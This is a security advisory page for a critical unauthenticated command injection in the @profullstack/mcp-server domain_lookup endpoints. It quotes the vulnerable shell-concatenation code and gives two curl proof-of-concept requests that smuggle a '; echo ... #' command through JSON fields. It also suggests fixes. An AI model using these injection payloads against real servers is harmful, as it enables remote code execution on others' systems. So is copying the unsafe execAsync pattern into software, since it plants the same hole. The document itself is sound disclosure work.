GHSA-v6wj-c83f-v46x

@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module

9.8 Critical

<html> <body> <html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1>

Field | Value -- | -- Project | profullstack/mcp-server Repository | https://github.com/profullstack/mcp-server Affected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9 Affected Module | mcp_modules/domain_lookup Affected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk Vulnerability Type | CWE-78: OS Command Injection CVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Authentication Required | None Default Network Exposure | Bind address 0.0.0.0, no global authentication middleware Validated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)

<hr> <h2>Summary</h2> <p>The <code>domain_lookup</code> module assembles a shell command string by concatenating user-controlled input (<code>domains</code> / <code>keywords</code>) and passes it to <code>execAsync()</code>. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.</p> <hr> <h2>Affected Code</h2> <ul> <li><code>index.js:27</code> — server binds to <code>0.0.0.0</code>, no global auth middleware.</li> <li><code>mcp_modules/domain_lookup/index.js:52</code> — registers <code>POST /domain-lookup/check</code>.</li> <li><code>mcp_modules/domain_lookup/index.js:55</code> — registers <code>POST /domain-lookup/bulk</code>.</li> <li><code>mcp_modules/domain_lookup/src/service.js:19, :20</code> — <code>buildTldxCommand()</code> concatenates user input into the shell string.</li> <li><code>mcp_modules/domain_lookup/src/service.js:114, :115, :142</code> — <code>execAsync(command)</code> sink reached from both routes.</li> </ul> <hr> <h2>Vulnerable Code</h2> <p><strong>File:</strong> <code>mcp_modules/domain_lookup/src/service.js</code></p> <p><strong>Step 1 — User input concatenated directly into a shell string:</strong></p> <pre><code class="language-js">buildTldxCommand(keywords, options = {}) { let command = `tldx ${keywords.join(' ')}`;

if (options.prefixes?.length) { command += --prefixes ${options.prefixes.join(',')}; } } </code></pre>

<p><strong>Step 2 — That shell string is executed as-is:</strong></p> <pre><code class="language-js">async checkDomainAvailability(domains, options = {}) { try { const command = this.buildTldxCommand(domains, options); const { stdout, stderr } = await execAsync(command); </code></pre> <p>There is no sanitization between Step 1 and Step 2. Shell metacharacters (<code>;</code>, <code>|</code>, <code>$()</code>, etc.) in user input are interpreted by <code>/bin/sh</code> at execution time.</p> <hr> <h2>Proof of Concept</h2> <p>Tested against a local Docker build of the affected commit (<code>0.0.0.0:13000->3000/tcp</code>).</p> <h3>PoC A — <code>POST /domain-lookup/check</code></h3> <p><strong>Request:</strong></p> <pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/check \ -H 'Content-Type: application/json' \ -d '{"domains":["example.com; echo final_check_poc > /tmp/verify-exports/final_check.txt; #"]}' </code></pre> <p><strong>Response:</strong></p> <pre><code>HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:39 GMT

{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"} </code></pre>

<p><strong>Side effect confirmed inside container:</strong></p> <pre><code>$ cat /tmp/verify-exports/final_check.txt final_check_poc </code></pre> <h3>PoC B — <code>POST /domain-lookup/bulk</code></h3> <p><strong>Request:</strong></p> <pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/bulk \ -H 'Content-Type: application/json' \ -d '{"keywords":["safe","x; echo final_bulk_poc > /tmp/verify-exports/final_bulk.txt; #"]}' </code></pre> <p><strong>Response:</strong></p> <pre><code>HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:40 GMT

{"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"} </code></pre>

<p><strong>Side effect confirmed inside container:</strong></p> <pre><code>$ cat /tmp/verify-exports/final_bulk.txt final_bulk_poc </code></pre> <h3>Note on HTTP 500</h3> <p>Both requests return HTTP 500 because <code>tldx</code> is not installed in the test container. The injected commands are interpreted by the shell <strong>before</strong> <code>tldx</code> is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where <code>tldx</code> is installed, both the intended function and the injected commands execute.</p> <hr> <h2>Impact</h2> <ul> <li>Unauthenticated remote code execution as the server process UID.</li> <li>Full read/write access to any file the server process can access.</li> <li>Potential for outbound connections, credential theft, persistence, and lateral movement.</li> <li>Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.</li> </ul> <hr> <h2>Suggested Remediation</h2> <ol> <li>Replace <code>execAsync(command)</code> with <code>child_process.execFile</code> or <code>spawn('tldx', [keyword1, keyword2, ...])</code> — pass arguments as an array, never as a concatenated shell string.</li> <li>Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.</li> <li>Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.</li> <li>Default the server bind address to <code>127.0.0.1</code> and require explicit opt-in for non-loopback bindings.</li> </ol> <hr> <h2>Verification Environment</h2> <ul> <li>Local Docker container only; no third-party deployment was tested.</li> <li>The container does not include the <code>tldx</code> binary; this is intentional for safe local PoC and does not affect exploitability.</li> </ul></body></html> </body> </html>

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: High

What each source reports

GitHub Advisories Score used9.8

@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module

<html> <body> <html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1>

if (options.prefixes?.length) { command += --prefixes ${options.prefixes.join(',')}; } } </code></pre>

{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"} </code></pre>

Record: GHSA-v6wj-c83f-v46x
CVSS 3.1: 9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-78
Updated: 2026-11-02

OSV9.8

@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module

<html> <body> <html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1>

if (options.prefixes?.length) { command += --prefixes ${options.prefixes.join(',')}; } } </code></pre>

{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"} </code></pre>

Record: GHSA-v6wj-c83f-v46x
CVSS 3.1: 9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-78
Updated: 2026-11-02

Affected packages

Affected packages
Package	Affected	Fixed
`@profullstack/mcp-server` npm	through 1.4.12	None known

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	GitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

GHSA-v6wj-c83f-v46x is a critical vulnerability (CVSS 9.8) in @profullstack/mcp-server, published May 9, 2026. No source lists public exploit code. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.